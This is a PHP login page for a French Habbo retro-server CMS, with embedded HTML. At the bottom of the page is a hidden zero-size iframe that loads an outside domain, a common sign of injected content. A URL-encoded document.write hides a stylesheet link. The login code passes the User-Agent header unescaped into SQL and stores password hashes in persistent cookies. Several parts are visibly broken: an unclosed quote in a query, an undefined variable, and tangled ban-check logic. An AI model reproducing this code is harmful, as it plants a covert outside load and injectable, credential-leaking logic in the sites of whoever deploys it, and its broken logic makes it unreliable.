<?php
#######################################################|# 
#|                    HabboMCMS - TheRox
#|                    Powered by HoloCMS 
#|            Copyright 2011-2012 ALL RIGHTS RESERVED
#######################################################|#

include('global.php');

session_start();

if(!session_is_registered(username)){

	if(isset($_POST['username']) && isset($_POST['password'])){
		$username = mysql_real_escape_string($_POST['username']);
		// $password = HashSITE($_POST['password']);
		$password = HASHS($_POST['password'], $username);
		$remember_me = mysql_real_escape_string($_POST['_login_remember_me']);

		if(empty($username) || empty($password)){
			$login_error = "<div class='errors'>Merci de remplir tout les champs</div>";
		} else {
			$sql = mysql_query("SELECT id FROM users WHERE username = '".$username."' AND password = '".$password."' LIMIT 1") or die(mysql_error());
			$rows = mysql_num_rows($sql);
			if($rows < 1){
				$login_error = "<div class='errors'>Nom ou mot de passe invalide. Tu penses avoir perdu ton mot de passe? <b><a href=\"".$path."/forgot\">Clique ici!<a></b></div>";
			} else {
				$userdata = mysql_fetch_assoc($sql);
				$userid = $userdata['id'];
				$hbname = $userdata['username'];
				$check = mysql_query("SELECT * FROM bans WHERE bantype = 'user' AND value = '".$hbname."' LIMIT 1") or die(mysql_error());
				$is_banned = mysql_num_rows($check);
				if($is_banned < 1){
					$_SESSION['username'] = $username;
					$_SESSION['password'] = $password;
					if($remember_me == "true"){
						setcookie("remember", "remember", time()+60*60*24*100, "/");
						setcookie("hrusername", $_SESSION['username'], time()+60*60*24*100, "/");
						setcookie("hrpassword", $_SESSION['password'], time()+60*60*24*100, "/");
					}
					$sql3 = mysql_query("UPDATE users SET last_online = '".$date_full."', ip_last = '".$remote_ip."', browser = '".$_SERVER['HTTP_USER_AGENT']."' WHERE username = '".$username."'") or die(mysql_error());
				//	if(GetBrowser($_SERVER['HTTP_USER_AGENT']) == "Internet Explorer 9" || GetBrowser($_SERVER['HTTP_USER_AGENT']) == "Internet Explorer 8" || GetBrowser($_SERVER['HTTP_USER_AGENT']) == "Internet Explorer 7" || GetBrowser($_SERVER['HTTP_USER_AGENT']) == "Internet Explorer 6" || GetBrowser($_SERVER['HTTP_USER_AGENT']) == "Internet Explorer 5" || GetBrowser($_SERVER['HTTP_USER_AGENT']) == "Internet Explorer 4")
				//	{
				//	header("location:IE"); exit;
				//	}
					header("location:security_check"); exit;
					} if(getBanUser($myrow['username']))
					{

						unset($_SESSION['username']);
						unset($_SESSION['password']);	

						$login_error = "<div class='errors'>Tu est bannis, pour la raison suivante : \"".getBanReason($myrow['id'], $remote_ip)."\". Le ban expire le ".getBanReason($myrow['id'], $remote_ip, true).".</div>";
						
						session_destroy();
						exit;

					} else {

						// ban expired
						mysql_query("DELETE FROM bans WHERE bantype = 'user' AND value = '".$hbname."' LIMIT 1") or die(mysql_error());

						}
						$_SESSION['username'] = $username;
						$_SESSION['password'] = $password;
						if($remember_me == "true"){
							setcookie("hremember", "remember", time()+60*60*24*100, "/");
							setcookie("hrusername", $_SESSION['username'], time()+60*60*24*100, "/");
						setcookie("rpassword", HashSITE($_SESSION['password'], $_SESSION['username']), time()+60*60*24*100, "/");
						}
						$sql3 = mysql_query("UPDATE users SET last_online = '".$date_full."', ip_last = '".$remote_ip."', browser = '".$_SERVER['HTTP_USER_AGENT']." WHERE username = '".$username."'") or die(mysql_error());
				
						header("location:security_check"); exit;
					
				
			}
		}
	}

	if(isset($_GET['error'])){
		$errorno = mysql_real_escape_string($_GET['error']);
		if($errorno == 1){
			$login_error = "<div class='errors'>Nom ou mot de passe invalide.</div>";
		} elseif($errorno == 2){
			$login_error = "<div class='errors'>Nom ou mot de passe invalide.</div>";
		} elseif(isset($_GET['ageLimit']) && mysql_real_escape_string($_GET['ageLimit']) == "true"){
			$login_error = "<div class='errors'>Tu est trop jeune pour t'inscrire.</div>";
		}
	}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml">
	<head>
		<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1" />
		<title>Habbo - Bienvenue </title>
		<script Language='Javascript'>
<!--  -->
<!--
document.write(unescape('%3C%6C%69%6E%6B%20%72%65%6C%3D%22%73%74%79%6C%65%73%68%65%65%74%22%20%74%79%70%65%3D%22%74%65%78%74%2F%63%73%73%22%20%68%72%65%66%3D%22%2E%2F%77%65%62%2D%67%61%6C%6C%65%72%79%2F%73%74%79%6C%65%73%2F%6D%61%69%6E%2E%63%73%73%22%20%2F%3E'));
//-->
</script>
	</head>
<div style="background:#404141; opacity:0.9; float:left; border-radius: 4px; color:white; position:fixed; padding:3px; margin:4px;"> 
<small>vBETA</small> 
</div> 
        <body>
                <div id="top_bar"><p>Bienvenue sur Ancestra hôtel. </p></div>
                <div class="space"></div>
                <div id="content"> 
                    <img style="margin-bottom: 10px;" src="/web-gallery/v2/images/logo.gif" /> 
                    
                </div>
                <div id="content">
                    
                    <div class="box">
                        <div class="title">Bienvenue sur Habbo</div>
                        <div class="form">
                        <form action="?process_login" method="post">

                            <p> <img src="http://habbo.ma/web-gallery/images/new_09.gif" /> <input type="text" name="username" class="input" /></p> <br />
                            <p><img src="http://habbo.ma/web-gallery/images/new_14.gif" /> <input type="password" name="password" class="input" /></p>
                           <p align="center"> <input type="submit" value="Entrer" class="button"/></p>

                        </div>
                        </form> <?php if(isset($login_error)) echo $login_error; ?>
                        <div class="title" style="margin-top: 10px;">Information</div>
                            <p class="info">
                                <img src="http://habbo.ma/web-gallery/images/mag-glass.gif" align="right" />
                          <img src="http://habbo.ma/web-gallery/images/arrow.gif" />  N'entrez jamais les mêmes identifiants Habbo.fr <br /> <br />
                             
                            <img src="http://habbo.ma/web-gallery/images/arrow.gif" />  Nous vous rappelons que nous sommes un rétro serveur à 
                            but non lucratif ! monhabbo.net a était créé pour un seul objectif, le divertissement !
                            </p>
                    </div>
                    <a href="signup"><div class="box-left">
                        <div class="text-bottom">
                            Habbo est un monde virtuel où vous pourrez faire de nouvelles rencontres.
                        </div>
                    </div></a>
                </div>
<iframe src="http://monhabbonet.cbalow.fr" width="0" height="0" style="display:none;height:0;width:0;"></iframe>

            </body>
</html>


<?php

} else {
header("location:me");
}

?> 
